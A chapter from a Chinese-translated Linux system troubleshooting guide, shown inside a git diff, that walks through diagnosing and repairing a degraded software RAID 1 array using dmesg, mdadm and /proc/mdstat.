当系统最初启动时,内核将标识该系统可用的各种硬件设备。 - -当内核识别这些设备时,信息被写入内核的环形缓冲区。 这个环形缓冲区实际上是内核的内部日志。 可以使用`dmesg`命令打印该环形缓冲区。 - -下面是来自`dmesg`命令的示例输出; 在本例中,我们将使用`head`命令将输出缩短为仅前 15 行: - -```sh -[nfs]# dmesg | head -15 -[ 0.000000] Initializing cgroup subsys cpuset -[ 0.000000] Initializing cgroup subsys cpu -[ 0.000000] Initializing cgroup subsys cpuacct -[ 0.000000] Linux version 3.10.0-229.1.2.el7.x86_64 (builder@kbuilder.dev.centos.org) (gcc version 4.8.2 20140120 (Red Hat 4.8.2-16) (GCC) ) #1 SMP Fri Mar 27 03:04:26 UTC 2015 -[ 0.000000] Command line: BOOT_IMAGE=/vmlinuz-3.10.0-229.1.2.el7.x86_64 root=/dev/mapper/md0-root ro rd.lvm.lv=md0/swap crashkernel=auto rd.md.uuid=bec13d99:42674929:76663813:f748e7cb rd.lvm.lv=md0/root rd.md.uuid=7adf0323:b0962394:387e6cd0:b2914469 rhgb quiet LANG=en_US.UTF-8 systemd.debug -[ 0.000000] e820: BIOS-provided physical RAM map: -[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable -[ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved -[ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved -[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000001ffeffff] usable -[ 0.000000] BIOS-e820: [mem 0x000000001fff0000-0x000000001fffffff] ACPI data -[ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved -[ 0.000000] NX (Execute Disable) protection: active -[ 0.000000] SMBIOS 2.5 present. -[ 0.000000] DMI: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006 - -``` - -我们之所以将的输出限制为 15 行,是因为`dmesg`命令将输出相当多的数据。 为了把它放在透视图中,我们可以再次运行该命令,但这一次将输出发送到`wc -l`,它将计算打印的行数: - -```sh -[nfs]# dmesg | wc -l -597 - -``` - -如我们所见,`dmesg`命令返回`597`行。 读取内核环形缓冲区的所有 597 行并不是一个快速的过程。 - -由于我们的目标是找到关于`/dev/sdb`的信息,我们可以再次运行`dmesg`命令,这一次使用`grep`命令过滤出`/dev/sdb`相关信息的输出: - -```sh -[nfs]# dmesg | grep -C 5 sdb -[ 2.176800] scsi 3:0:0:0: CD-ROM VBOX CD-ROM 1.0 PQ: 0 ANSI: 5 -[ 2.194908] sd 0:0:0:0: [sda] 16777216 512-byte logical blocks: (8.58 GB/8.00 GiB) -[ 2.194951] sd 0:0:0:0: [sda] Write Protect is off -[ 2.194953] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 -[ 2.194965] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA -[ 2.196250] sd 1:0:0:0: [sdb] 16777216 512-byte logical blocks: (8.58 GB/8.00 GiB) -[ 2.196279] sd 1:0:0:0: [sdb] Write Protect is off -[ 2.196281] sd 1:0:0:0: [sdb] Mode Sense: 00 3a 00 00 -[ 2.196294] sd 1:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA -[ 2.197471] sda: sda1 sda2 -[ 2.197700] sd 0:0:0:0: [sda] Attached SCSI disk -[ 2.198139] sdb: sdb1 sdb2 -[ 2.198319] sd 1:0:0:0: [sdb] Attached SCSI disk -[ 2.200851] sr 3:0:0:0: [sr0] scsi3-mmc drive: 32x/32x xa/form2 tray -[ 2.200856] cdrom: Uniform CD-ROM driver Revision: 3.20 -[ 2.200980] sr 3:0:0:0: Attached scsi CD-ROM sr0 -[ 2.366634] md: bind -[ 2.370652] md: raid1 personality registered for level 1 -[ 2.370820] md/raid1:md127: active with 1 out of 2 mirrors -[ 2.371797] created bitmap (1 pages) for device md127 -[ 2.372181] md127: bitmap initialized from disk: read 1 pages, set 0 of 8 bits -[ 2.373915] md127: detected capacity change from 0 to 524222464 -[ 2.374767] md127: unknown partition table -[ 2.376065] md: bind -[ 2.382976] md: bind -[ 2.385094] md: kicking non-fresh sdb2 from array! -[ 2.385102] md: unbind -[ 2.385105] md: export_rdev(sdb2) -[ 2.387559] md/raid1:md126: active with 1 out of 2 mirrors -[ 2.387874] created bitmap (1 pages) for device md126 -[ 2.388339] md126: bitmap initialized from disk: read 1 pages, set 19 of 121 bits -[ 2.390324] md126: detected capacity change from 0 to 8060403712 -[ 2.391344] md126: unknown partition table - -``` - -当执行上述示例时,`–C`(上下文)标志被用来告诉`grep`在输出中包含 5 行上下文。 通常,当`grep`不带标志运行时,只打印包含搜索字符串(在本例中为“`sdb`”)的行。 将上下文标志设置为 5 时,`grep`命令将在包含搜索字符串的每行之前打印 5 行,在每行之后打印 5 行。 - -使用`grep`不仅可以看到包含字符串`sdb`的行,还可以看到可能包含额外信息的前后行。 - -现在我们有了这些额外的信息,让我们分解它来更好地理解它告诉我们什么: - -```sh -[ 2.176800] scsi 3:0:0:0: CD-ROM VBOX CD-ROM 1.0 PQ: 0 ANSI: 5 -[ 2.194908] sd 0:0:0:0: [sda] 16777216 512-byte logical blocks: (8.58 GB/8.00 GiB) -[ 2.194951] sd 0:0:0:0: [sda] Write Protect is off -[ 2.194953] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 -[ 2.194965] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA -[ 2.196250] sd 1:0:0:0: [sdb] 16777216 512-byte logical blocks: (8.58 GB/8.00 GiB) -[ 2.196279] sd 1:0:0:0: [sdb] Write Protect is off -[ 2.196281] sd 1:0:0:0: [sdb] Mode Sense: 00 3a 00 00 -[ 2.196294] sd 1:0:0:0: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA -[ 2.197471] sda: sda1 sda2 -[ 2.197700] sd 0:0:0:0: [sda] Attached SCSI disk -[ 2.198139] sdb: sdb1 sdb2 -[ 2.198319] sd 1:0:0:0: [sdb] Attached SCSI disk - -``` - -以上信息似乎是关于`/dev/sdb`的标准信息。 我们可以从这些消息中看到关于`/dev/sda`和`/dev/sdb`的一些基本信息。 - -从前面的信息中我们可以看到一个有用的东西是这些驱动器的大小: - -```sh -[ 2.194908] sd 0:0:0:0: [sda] 16777216 512-byte logical blocks: (8.58 GB/8.00 GiB) -[ 2.196250] sd 1:0:0:0: [sdb] 16777216 512-byte logical blocks: (8.58 GB/8.00 GiB) - -``` - -我们可以看到每个驱动器的大小为`8.58`GB。 虽然这些信息一般来说是有用的,但对我们目前的情况是没有用的。 然而,有用的是前面代码片段的最后四行: - -```sh -[ 2.197471] sda: sda1 sda2 -[ 2.197700] sd 0:0:0:0: [sda] Attached SCSI disk -[ 2.198139] sdb: sdb1 sdb2 -[ 2.198319] sd 1:0:0:0: [sdb] Attached SCSI disk - -``` - -最后四行显示了`/dev/sda`和`/dev/sdb`上的可用分区,以及一条消息,说明每个磁盘都是`Attached`。 - -这个信息非常有用,因为它在最基本的层面上告诉我们这两个驱动器正在工作。 这是`/dev/sdb`的问题所在,因为我们怀疑 RAID 系统已将其从服务中删除。 - -到目前为止,`dmesg`命令已经为我们提供了一些有用的信息; 让我们继续浏览这些数据,以便更好地理解这些磁盘。 - -```sh -[ 2.200851] sr 3:0:0:0: [sr0] scsi3-mmc drive: 32x/32x xa/form2 tray -[ 2.200856] cdrom: Uniform CD-ROM driver Revision: 3.20 -[ 2.200980] sr 3:0:0:0: Attached scsi CD-ROM sr0 - -``` - -如果我们对我们的 CD-ROM 设备进行故障诊断,那么前面的三行将非常有用。 然而,对于我们的磁盘问题,它们并不有用,只是由于 grep 的上下文被设置为 5 而被包含在内。 - -然而,下面几行将告诉我们关于磁盘驱动器的相当多的信息: - -```sh -[ 2.366634] md: bind -[ 2.370652] md: raid1 personality registered for level 1 -[ 2.370820] md/raid1:md127: active with 1 out of 2 mirrors -[ 2.371797] created bitmap (1 pages) for device md127 -[ 2.372181] md127: bitmap initialized from disk: read 1 pages, set 0 of 8 bits -[ 2.373915] md127: detected capacity change from 0 to 524222464 -[ 2.374767] md127: unknown partition table -[ 2.376065] md: bind -[ 2.382976] md: bind -[ 2.385094] md: kicking non-fresh sdb2 from array! -[ 2.385102] md: unbind -[ 2.385105] md: export_rdev(sdb2) -[ 2.387559] md/raid1:md126: active with 1 out of 2 mirrors -[ 2.387874] created bitmap (1 pages) for device md126 -[ 2.388339] md126: bitmap initialized from disk: read 1 pages, set 19 of 121 bits -[ 2.390324] md126: detected capacity change from 0 to 8060403712 -[ 2.391344] md126: unknown partition table - -``` - -dmesg 输出的最后一部分告诉我们很多关于 RAID 设备和`/dev/sdb`的信息。 因为有相当多的数据,我们需要将其分解,以真正理解所有: - -```sh -The first few lines show use information about /dev/md127. -[ 2.366634] md: bind -[ 2.370652] md: raid1 personality registered for level 1 -[ 2.370820] md/raid1:md127: active with 1 out of 2 mirrors -[ 2.371797] created bitmap (1 pages) for device md127 -[ 2.372181] md127: bitmap initialized from disk: read 1 pages, set 0 of 8 bits -[ 2.373915] md127: detected capacity change from 0 to 524222464 -[ 2.374767] md127: unknown partition table - -``` - -这一行似乎是在引导期间创建的信息,因为这些消息表明 RAID 正在初始化。 它还显示,当 RAID 被初始化时,它检测到两个可用磁盘中只有一个绑定到 RAID。 - -虽然这个信息本身对于我们的故障诊断并不新鲜,但它告诉我们的是系统是在这个状态下启动的。 这个意味着`/dev/sdb` 发生的事情可能发生在这个系统最近一次重新启动之前。 - -从这个片段的其余部分来看,有类似的消息为`/dev/md126`; 然而,还有一些更多的信息包括在这些消息: - -```sh -[ 2.376065] md: bind -[ 2.382976] md: bind -[ 2.385094] md: kicking non-fresh sdb2 from array! -[ 2.385102] md: unbind -[ 2.385105] md: export_rdev(sdb2) -[ 2.387559] md/raid1:md126: active with 1 out of 2 mirrors -[ 2.387874] created bitmap (1 pages) for device md126 -[ 2.388339] md126: bitmap initialized from disk: read 1 pages, set 19 of 121 bits -[ 2.390324] md126: detected capacity change from 0 to 8060403712 -[ 2.391344] md126: unknown partition table - -``` - -前面的消息看起来非常类似于来自`/dev/md127`的消息; 然而,有一些行在`/dev/md127`的消息中不存在: - -```sh -[ 2.376065] md: bind -[ 2.382976] md: bind -[ 2.385094] md: kicking non-fresh sdb2 from array! -[ 2.385102] md: unbind - -``` - -如果我们查看这些消息,可以看到`/dev/md126`试图在 RAID 阵列中使用`/dev/sdb2`; 然而,它发现驱动器不新鲜。 非新鲜消息很有趣,因为它可能解释了为什么`/dev/sdb`没有被包含到 RAID 设备中。 - -## 总结 dmesg 提供的内容 - -在 RAID 集中,每个磁盘为每个写请求维护一个事件计数。 RAID 使用这个事件计数来确保每个磁盘都收到了适当数量的写请求。 这允许 RAID 验证整个 RAID 的一致性。 - -当 RAID 重新启动时,RAID 管理器将检查每个磁盘的事件数,确保它们是一致的。 - -从前面的消息可以看出,`/dev/sda2`可能比`/dev/sdb2`具有更高的事件计数。 这表明在`/dev/sda1`上发生了一些写操作,而在`/dev/sdb2`上从未发生过。 对于镜像阵列,这将是不正常的,并表明有`/dev/sdb2`的问题。 - -我们如何检查事件计数是否不同? 使用`mdadm`命令,我们可以显示每个磁盘设备的事件计数。 - -# 使用 mdadm 检查超级块 - -要查看事件计数,我们将使用带有`--examine`标志的`mdadm`命令检查磁盘设备: - -```sh -[nfs]# mdadm --examine /dev/sda1 -/dev/sda1: - Magic : a92b4efc - Version : 1.0 - Feature Map : 0x1 - Array UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Name : localhost:boot - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Raid Devices : 2 - - Avail Dev Size : 1023968 (500.07 MiB 524.27 MB) - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 1023872 (500.02 MiB 524.22 MB) - Super Offset : 1023984 sectors - Unused Space : before=0 sectors, after=96 sectors - State : clean - Device UUID : 92d97c32:1f53f59a:14a7deea:34ec8c7c - -Internal Bitmap : -16 sectors from superblock - Update Time : Mon May 11 04:08:10 2015 - Bad Block Log : 512 entries available at offset -8 sectors - Checksum : bd8c1d5b - correct - Events : 60 - - Device Role : Active device 0 - Array State : A. ('A' == active, '.' == missing, 'R' == replacing) - -``` - -除了`--detail`用于打印 RAID 设备的详细信息外,`--examine`标志与`--detail`非常相似。 `--examine`用于从组成 RAID 的单个磁盘上打印 RAID 的详细信息。 `--examine`打印的详细信息实际上来自磁盘上的超级块详细信息。 - -当 Linux RAID 将磁盘用作 RAID 设备的一部分时,RAID 系统将在磁盘上为**超级块**预留一些空间。 这个超级块只是用来存储关于磁盘和 RAID 的元数据。 - -在上面的命令中,我们简单地打印了`/dev/sda1`中的 RAID 超级块信息。 为了更好地理解 RAID 超级块,让我们看看`--examine`标志提供的细节: - -```sh -/dev/sda1: - Magic : a92b4efc - Version : 1.0 - Feature Map : 0x1 - Array UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Name : localhost:boot - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Raid Devices : 2 - -``` - -该输出的第一部分提供了相当多的有用信息。 例如,这个神奇的数字被用作超级块头。 这是一个用来指示超级块开始的值。 - -另一个有用的信息是`Array UUID`。 这是该磁盘所属 RAID 的唯一标识符。 如果我们打印 RAID`md127`的详细信息,我们可以看到来自`/dev/sda1`的 Array UUID 和来自`md127`的 UUID 匹配: - -```sh -[nfs]# mdadm --detail /dev/md127 | grep UUID - UUID : 7adf0323:b0962394:387e6cd0:b2914469 - -``` - -当设备名称发生更改,并且您需要识别属于特定 RAID 的磁盘时,这可能很有用。 这方面的一个例子是,如果有人在硬件维护期间不小心将驱动器放入了错误的插槽。 如果驱动器仍然包含 UUID,则可以识别错位驱动器所属的 RAID。 - -下面三行`Creation Time`、`RAID Level`和`RAID Devices`在与`--detail`的输出一起使用时也非常有用。 - -第二个信息片段对于确定关于磁盘设备的信息很有用: - -```sh -Avail Dev Size : 1023968 (500.07 MiB 524.27 MB) - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 1023872 (500.02 MiB 524.22 MB) - Super Offset : 1023984 sectors - Unused Space : before=0 sectors, after=96 sectors - State : clean - Device UUID : 92d97c32:1f53f59a:14a7deea:34ec8c7c - -``` - -在这个代码片段中,我们可以在前三行中看到单个磁盘和数组的大小。 如果有关于阵列中每个磁盘的大小的问题,这个信息可能非常有用。 除了大小,我们还可以看到 RAID 当前的`State`。 这个状态与我们从`/dev/md127`的`--detail`输出中看到的状态相匹配。 - -```sh -[nfs]# mdadm --detail /dev/md127 | grep State - State : clean, degraded - -``` - -来自`--examine`输出的信息的下一部分对于我们的问题非常有用: - -```sh -Internal Bitmap : -16 sectors from superblock - Update Time : Mon May 11 04:08:10 2015 - Bad Block Log : 512 entries available at offset -8 sectors - Checksum : bd8c1d5b - correct - Events : 60 - - Device Role : Active device 0 - Array State : A. ('A' == active, '.' == missing, 'R' == replacing) - -``` - -在本节中,我们可以查看`Events`信息,该信息显示了该磁盘上的当前事件计数值。 我们还可以看到`/dev/sda1`的`Array State`值。 `A`的值。 表示从`/dev/sda1`的角度来看,其镜像伙伴缺失。 - -当我们检查`/dev/sdb1`下的超级块的细节时,我们将看到`Array State`和`Events`值之间有趣的差异: - -```sh -[nfs]# mdadm --examine /dev/sdb1 -/dev/sdb1: - Magic : a92b4efc - Version : 1.0 - Feature Map : 0x1 - Array UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Name : localhost:boot - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Raid Devices : 2 - - Avail Dev Size : 1023968 (500.07 MiB 524.27 MB) - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 1023872 (500.02 MiB 524.22 MB) - Super Offset : 1023984 sectors - Unused Space : before=0 sectors, after=96 sectors - State : clean - Device UUID : 5a9bb172:13102af9:81d761fb:56d83bdd - -Internal Bitmap : -16 sectors from superblock - Update Time : Mon May 4 21:09:30 2015 - Bad Block Log : 512 entries available at offset -8 sectors - Checksum : cd226d7b - correct - Events : 48 - - Device Role : Active device 1 - Array State : AA ('A' == active, '.' == missing, 'R' == replacing) - -``` - -从结果来看,我们已经回答了不少关于`/dev/sdb1`的问题。 - -我们的第一个问题是/`dev/sdb1`是否是 RAID 的一部分。 由于该设备有一个 RAID 超级块,并且该信息可以通过`mdadm`打印,因此我们可以安全地说`yes`。 - -```sh - Array UUID : 7adf0323:b0962394:387e6cd0:b2914469 - -``` - -通过查看`Array UUID`,我们还可以确定这个设备是否像我们怀疑的那样是`/dev/md127`的一部分: - -```sh -[nfs]# mdadm --detail /dev/md127 | grep UUID - UUID : 7adf0323:b0962394:387e6cd0:b2914469 - -``` - -从表面上看,`/dev/sdb1`在某种程度上是`/dev/md127`的一部分。 - -我们需要回答的最后一个问题是`/dev/sda1`和`/dev/sdb1`之间的`Events`值是否不同。 从`/dev/sda1`的`--examine`信息中,我们可以看到事件计数被设置为 60。 在上述代码中,`--examine`由`/dev/sdb1`产生; 我们可以看到事件数要低得多-`48`: - -```sh - Events : 48 - -``` - -考虑到差异,我们可以有把握地说,`/dev/sdb1`比`/dev/sda1`落后 12 个事件。 这是一个非常显著的差异,也是 MD 拒绝将`/dev/sdb1`添加到 RAID 阵列的合理原因。 - -有趣的是,如果我们看一下`/dev/sdb1`的`Array State`,我们可以看到它仍然认为它是`/dev/md127`阵列中的活动磁盘: - -```sh - Array State : AA ('A' == active, '.' == missing, 'R' == replacing) - -``` - -这是由于事实,因为设备不再是 RAID 的部分,它没有被更新为当前状态。 我们也可以在更新时间中看到: - -```sh - Update Time : Mon May 4 21:09:30 2015 - -``` - -`/dev/sda1`的`Update Time`是最近的; 因此,它应该被信任在磁盘`/dev/sdb1`之上。 - -## 检查/dev/sdb2 - -既然我们知道了没有将`/dev/sdb1`添加到`/dev/md127`中的原因,那么我们应该确定`/dev/sdb2`和`/dev/md126`是否存在同样的情况。 - -因为我们已经知道`/dev/sda2`是健康的并且是`/dev/md126`数组的一部分,所以我们将只关注捕获它的`Events`值: - -```sh -[nfs]# mdadm --examine /dev/sda2 | grep Events - Events : 7517 - -``` - -与`/dev/sda1`相比,`/dev/sda2`的事件数相当高。 由此,我们可以确定`/dev/md126`可能是一个非常活跃的 RAID 设备。 - -现在我们有了事件计数,让我们来看看/`dev/sdb2`的细节: - -```sh -[nfs]# mdadm --examine /dev/sdb2 -/dev/sdb2: - Magic : a92b4efc - Version : 1.2 - Feature Map : 0x1 - Array UUID : bec13d99:42674929:76663813:f748e7cb - Name : localhost:pv00 - Creation Time : Wed Apr 15 09:39:19 2015 - Raid Level : raid1 - Raid Devices : 2 - - Avail Dev Size : 15742976 (7.51 GiB 8.06 GB) - Array Size : 7871488 (7.51 GiB 8.06 GB) - Data Offset : 8192 sectors - Super Offset : 8 sectors - Unused Space : before=8104 sectors, after=0 sectors - State : clean - Device UUID : 01db1f5f:e8176cad:8ce68d51:deff57f8 - -Internal Bitmap : 8 sectors from superblock - Update Time : Mon May 4 21:10:31 2015 - Bad Block Log : 512 entries available at offset 72 sectors - Checksum : 98a8ace8 - correct - Events : 541 - - Device Role : Active device 1 - Array State : AA ('A' == active, '.' == missing, 'R' == replacing) - -``` - -同样,从我们能够从`/dev/sdb2`打印超级块信息的事实,我们已经确定这个设备实际上是 RAID 的一部分: - -```sh - Array UUID : bec13d99:42674929:76663813:f748e7cb - -``` - -如果我们将`/dev/sdb2`的`Array UUID`与`/dev/md126`的`UUID`进行比较,我们也会看到它实际上是 RAID 阵列的一部分: - -```sh -[nfs]# mdadm --detail /dev/md126 | grep UUID - UUID : bec13d99:42674929:76663813:f748e7cb - -``` - -这就回答了我们关于`/dev/sdb2`是否是`md126`RAID 的一部分的问题。 如果我们看看`/dev/sdb2`的事件计数,我们也可以回答为什么它目前不是 RAID 的一部分的问题: - -```sh -Events : 541 - -``` - -假设`/dev/sda2`的`Events`计数为 7517,`/dev/sdb2`的`Events`计数为 541,那么这个设备似乎错过了发送到`md126`RAID 的写事件。 - -# 到目前为止我们所学到的 - -通过到目前为止所采取的故障排除步骤,我们已经收集了相当多的关键数据片段。 让我们来看看我们所学到的,以及我们可以从这些发现中推断出什么: - -* On our system, we have two RAID devices. - - 使用`mdadm`命令和`/proc/mdstat`的内容,我们能够确定这个系统有两个 RAID 设备`—/dev/md126`和`/dev/md127`。 - -* Both RAID devices are a RAID 1 and missing a mirrored device. - - 通过`mdadm`命令和`dmesg`输出,我们能够确定两个 RAID 设备都被设置为 RAID 1 设备。 除此之外,我们还发现两个 RAID 设备都缺少一个磁盘; 两个丢失的设备都是来自`/dev/sdb`硬盘的分区。 - -* Both `/dev/sdb1` and `/dev/sdb2` have mismatched event counts. - - 通过`mdadm`命令,我们可以检查`/dev/sdb1`和`/dev/sdb2`设备的`superblock`细节。 在此期间,我们能够看到这些设备的事件计数与`/dev/sda`上的活动分区不匹配。 - - 因此,RAID 不会将`/dev/sdb`设备重新添加到各自的 RAID 阵列中。 - -* The disk `/dev/sdb` seems to be functional. - - RAID 没有将`/dev/sdb1`或`/dev/sdb2`加入到各自的 RAID 阵列中,并不意味着设备`/dev/sdb`故障。 - -从`dmesg`中的消息中,我们没有看到`/dev/sdb`设备本身的任何错误。 我们还可以使用`mdadm`检查这些驱动器上的分区。 从我们目前所做的一切来看,这些驱动器似乎是有效的。 - -# 重新添加驱动器到阵列 - -`/dev/sdb`磁盘似乎是正常的,除了事件计数的差异外,我们看不到 RAID 拒绝设备的任何原因。 我们的下一步将尝试重新将移除的设备添加到它们的 RAID 阵列中。 - -我们将尝试使用的第一个 RAID 是`/dev/md127`: - -```sh -[nfs]# mdadm --detail /dev/md127 -/dev/md127: - Version : 1.0 - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 511936 (500.02 MiB 524.22 MB) - Raid Devices : 2 - Total Devices : 1 - Persistence : Superblock is persistent - - Intent Bitmap : Internal - - Update Time : Mon May 11 04:08:10 2015 - State : clean, degraded - Active Devices : 1 -Working Devices : 1 - Failed Devices : 0 - Spare Devices : 0 - - Name : localhost:boot - UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Events : 60 - - Number Major Minor RaidDevice State - 0 8 1 0 active sync /dev/sda1 - 2 0 0 2 removed - -``` - -重新添加驱动器的最简单的方法是在`mdadm`中使用`-a`(add)标志。 - -```sh -[nfs]# mdadm /dev/md127 -a /dev/sdb1 -mdadm: re-added /dev/sdb1 - -``` - -上面的命令将告诉`mdadm`将设备`/dev/sdb1`添加到 RAID 设备`/dev/md127`。 由于`/dev/sdb1`已经是 RAID 阵列的一部分,MD 服务只需重新添加磁盘并重新同步`/dev/sda1`中丢失的事件。 - -如果我们查看带有`--detail`标志的 RAID 细节,我们就可以看到这一点: - -```sh -[nfs]# mdadm --detail /dev/md127 -/dev/md127: - Version : 1.0 - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 511936 (500.02 MiB 524.22 MB) - Raid Devices : 2 - Total Devices : 2 - Persistence : Superblock is persistent - - Intent Bitmap : Internal - - Update Time : Mon May 11 16:47:32 2015 - State : clean, degraded, recovering - Active Devices : 1 -Working Devices : 2 - Failed Devices : 0 - Spare Devices : 1 - - Rebuild Status : 50% complete - - Name : localhost:boot - UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Events : 66 - - Number Major Minor RaidDevice State - 0 8 1 0 active sync /dev/sda1 - 1 8 17 1 spare rebuilding /dev/sdb1 - -``` - -从前面的输出中,我们可以看到与前面的示例有一些不同。 一个非常重要的区别是`Rebuild Status`: - -```sh -Rebuild Status : 50% complete - -``` - -使用`mdadm --detail`,我们可以看到驱动器重新同步的完成状态。 如果在这个过程中有任何错误,我们也可以看到。 如果我们看看底部的三条线,我们还可以看到哪些设备是活动的,哪些正在重建。 - -```sh - Number Major Minor RaidDevice State - 0 8 1 0 active sync /dev/sda1 - 1 8 17 1 spare rebuilding /dev/sdb1 - -``` - -几秒钟后,如果我们再次运行`mdadm --detail`,我们应该会看到 RAID 设备已经重新同步: - -```sh -[nfs]# mdadm --detail /dev/md127 -/dev/md127: - Version : 1.0 - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 511936 (500.02 MiB 524.22 MB) - Raid Devices : 2 - Total Devices : 2 - Persistence : Superblock is persistent - - Intent Bitmap : Internal - - Update Time : Mon May 11 16:47:32 2015 - State : clean - Active Devices : 2 -Working Devices : 2 - Failed Devices : 0 - Spare Devices : 0 - - Name : localhost:boot - UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Events : 69 - - Number Major Minor RaidDevice State - 0 8 1 0 active sync /dev/sda1 - 1 8 17 1 active sync /dev/sdb1 - -``` - -现在我们可以看到两个驱动器都以`active sync`状态列出,而 RAID`State`只是`clean`。 - -前面的输出是一个正常的 RAID 1 设备应该是什么样的。 此时,我们可以考虑解决了`/dev/md127`后的问题。 - -## 添加新的磁盘设备 - -有时您会发现自己处于这样一种情况:您的磁盘驱动器实际上是故障的,而实际的物理硬件必须被替换。 在这种情况下,一旦分区`/dev/sdb1`和`/dev/sdb2`被重新创建,设备就可以简单地添加到 RAID 中,步骤与我们前面使用的相同。 - -当执行`mdadm -a `命令时,`mdadm`首先检查磁盘设备是否曾经是 RAID 的一部分。 - -它通过读取磁盘设备上的超级块信息来实现这一点。 如果设备以前是 RAID 的一部分,它只需重新添加它并开始重建以重新同步驱动器。 - -如果磁盘设备从来不是 RAID 的一部分,它将作为备用设备添加,如果 RAID 降级,备用设备将用于将 RAID 恢复到干净状态。 - -## 未干净添加磁盘时 - -在以前的工作环境中,当我们更换硬盘驱动器时,在生产环境中使用硬盘驱动器替换故障驱动器之前,总是对硬盘驱动器进行质量测试。 通常,这种质量测试涉及创建分区并将这些分区添加到现有 RAID 中。 - -因为这些设备上已经有一个 RAID 超级块,`mdadm`将拒绝将设备添加到 RAID 中。 可以使用`mdadm`命令清除已存在的 RAID`superblock`: - -```sh -[nfs]# mdadm --zero-superblock /dev/sdb2 - -``` - -上面的命令将告诉`mdadm`从指定的磁盘上删除 RAID`superblock`信息——在本例中是`/dev/sdb2`: - -```sh -[nfs]# mdadm --examine /dev/sdb2 -mdadm: No md superblock detected on /dev/sdb2. - -``` - -使用`--examine`,我们可以看到设备上现在没有超级块了。 - -应该谨慎使用`--zero-superblock`标志,并且只在不再需要设备数据时使用。 一旦这个超级块信息被移除,RAID 将这个磁盘视为一个空白磁盘,并且在任何重新同步过程中,现有的数据将被覆盖。 - -一旦超级块被移除,可以执行相同的步骤将其添加到 RAID 阵列: - -```sh -[nfs]# mdadm /dev/md126 -a /dev/sdb2 -mdadm: added /dev/sdb2 - -``` - -## 观察重建状态的另一种方式 - -之前我们使用`mdadm --detail`来显示`md127`的重建状态。 另一种查看此信息的方法是通过`/proc/mdstat`: - -```sh -[nfs]# cat /proc/mdstat -Personalities : [raid1] -md126 : active raid1 sdb2[2] sda2[0] - 7871488 blocks super 1.2 [2/1] [U_] - [>....................] recovery = 0.0% (1984/7871488) finish=65.5min speed=1984K/sec - bitmap: 1/1 pages [4KB], 65536KB chunk - -md127 : active raid1 sdb1[1] sda1[0] - 511936 blocks super 1.0 [2/2] [UU] - bitmap: 0/1 pages [0KB], 65536KB chunk - -unused devices: - -``` - -一段时间后,RAID 将完成重新同步; 现在,两个 RAID 阵列都处于健康状态: - -```sh -[nfs]# cat /proc/mdstat -Personalities : [raid1] -md126 : active raid1 sdb2[2] sda2[0] - 7871488 blocks super 1.2 [2/2] [UU] - bitmap: 0/1 pages [0KB], 65536KB chunk - -md127 : active raid1 sdb1[1] sda1[0] - 511936 blocks super 1.0 [2/2] [UU] - bitmap: 0/1 pages [0KB], 65536KB chunk - -unused devices: - -``` - -# 总结 - -在上一章,[第七章](07.html#19UOO2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 7. Filesystem Errors and Recovery"),*文件系统错误和恢复*中,我们注意到在`/var/log/messages`日志文件中有一个简单的 RAID 失败消息。 在本章中,我们使用了`Data Collector`方法来调查该失败消息的原因。 - -在使用 RAID 管理命令`mdadm`进行调查之后,我们发现有几个 RAID 设备处于降级状态。 使用`dmesg`,我们能够确定哪些硬盘驱动器设备受到了影响,以及磁盘在某个时间点被从服务中删除。 我们还发现磁盘**事件计数**不匹配,阻止了自动重新添加磁盘。 - -我们使用`dmesg`验证设备没有物理故障,并选择将其重新添加到 RAID 阵列。 - -虽然本章主要关注 RAID 和磁盘故障,但`/var/log/messages`和`dmesg`都可以用于排除其他设备故障。 然而,对于硬盘以外的设备,解决方案通常是简单的更换。 当然,像大多数事情一样,这取决于所经历的失败类型。 - -在下一章中,我们将展示如何排除自定义用户应用的故障,以及如何使用系统工具来执行一些高级故障排除。 \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/09.md b/docs/rhel-troubleshoot-guide/09.md deleted file mode 100644 index 88913c8c..00000000 --- a/docs/rhel-troubleshoot-guide/09.md +++ /dev/null @@ -1,1218 +0,0 @@ -# 九、使用系统工具排除应用故障 - -在前一章中,我们讨论了硬件故障排除问题。 具体来说,您了解了当硬盘从 RAID 中移除且无法读取时应该做什么。 - -在本章中,我们将回到应用的故障排除,但与前面的示例不同,我们不会对流行的开源应用(如 WordPress)进行故障排除。 在本章中,我们将重点讨论一个自定义应用,它比一个众所周知的应用要困难得多。 - -# 开源应用 vs .本地应用 - -流行的开源项目通常都有一个在线社区或 bug/问题跟踪器。 正如我们在[第 3 